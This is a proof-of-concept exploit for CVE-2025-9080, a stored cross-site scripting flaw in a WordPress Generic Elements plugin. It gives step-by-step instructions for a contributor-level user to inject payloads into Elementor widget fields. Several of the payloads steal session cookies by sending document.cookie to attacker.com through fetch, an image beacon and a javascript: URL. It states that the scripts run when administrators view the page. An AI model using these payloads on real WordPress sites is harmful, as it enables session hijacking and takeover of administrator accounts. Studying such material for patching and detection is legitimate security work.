CVE-2025-9080 WordPress Generic Elements插件存储型XSS漏洞

<!-- CVE-2025-9080 PoC: Stored XSS via Generic Elements widget fields --> <!-- Step 1: Login as Contributor-level user --> <!-- Step 2: Create a new page/post with Elementor editor --> <!-- Step 3: Add a vulnerable widget (e.g., FunFactor, Slider, CallToAction) --> <!-- Step 4: Inject malicious payload into widget fields --> <!-- Payload Example 1: Basic XSS via attribute injection --> <!-- Inject into widget field like title, subtitle, or description: --> " onmouseover="alert(document.cookie)" x=" <!-- Payload Example 2: Using img tag with onerror handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Payload Example 3: Using autofocus and onfocus events --> " autofocus onfocus="var i=new Image;i.src='https://attacker.com/x?c='+document.cookie;" x=" <!-- Step 5: Publish the page --> <!-- Step 6: When any user (especially admin) visits the page, the script executes --> <!-- Full exploit flow in JavaScript (for automation testing): --> <script> // Simulating the attack payload that would be injected into widget fields const maliciousPayload = ` " style="background:url(javascript:fetch('https://attacker.com/?c='+document.cookie))" x=" `; // The payload gets stored in DB and executes when the page is rendered // Example of what the vulnerable HTML output might look like: const vulnerableHTML = ` <div class="funfactor-widget" data-title="${maliciousPayload}"> <!-- Content here --> </div> `; console.log("Vulnerable HTML output:", vulnerableHTML); console.log("When a user visits this page, the JavaScript will execute in their browser context."); </script>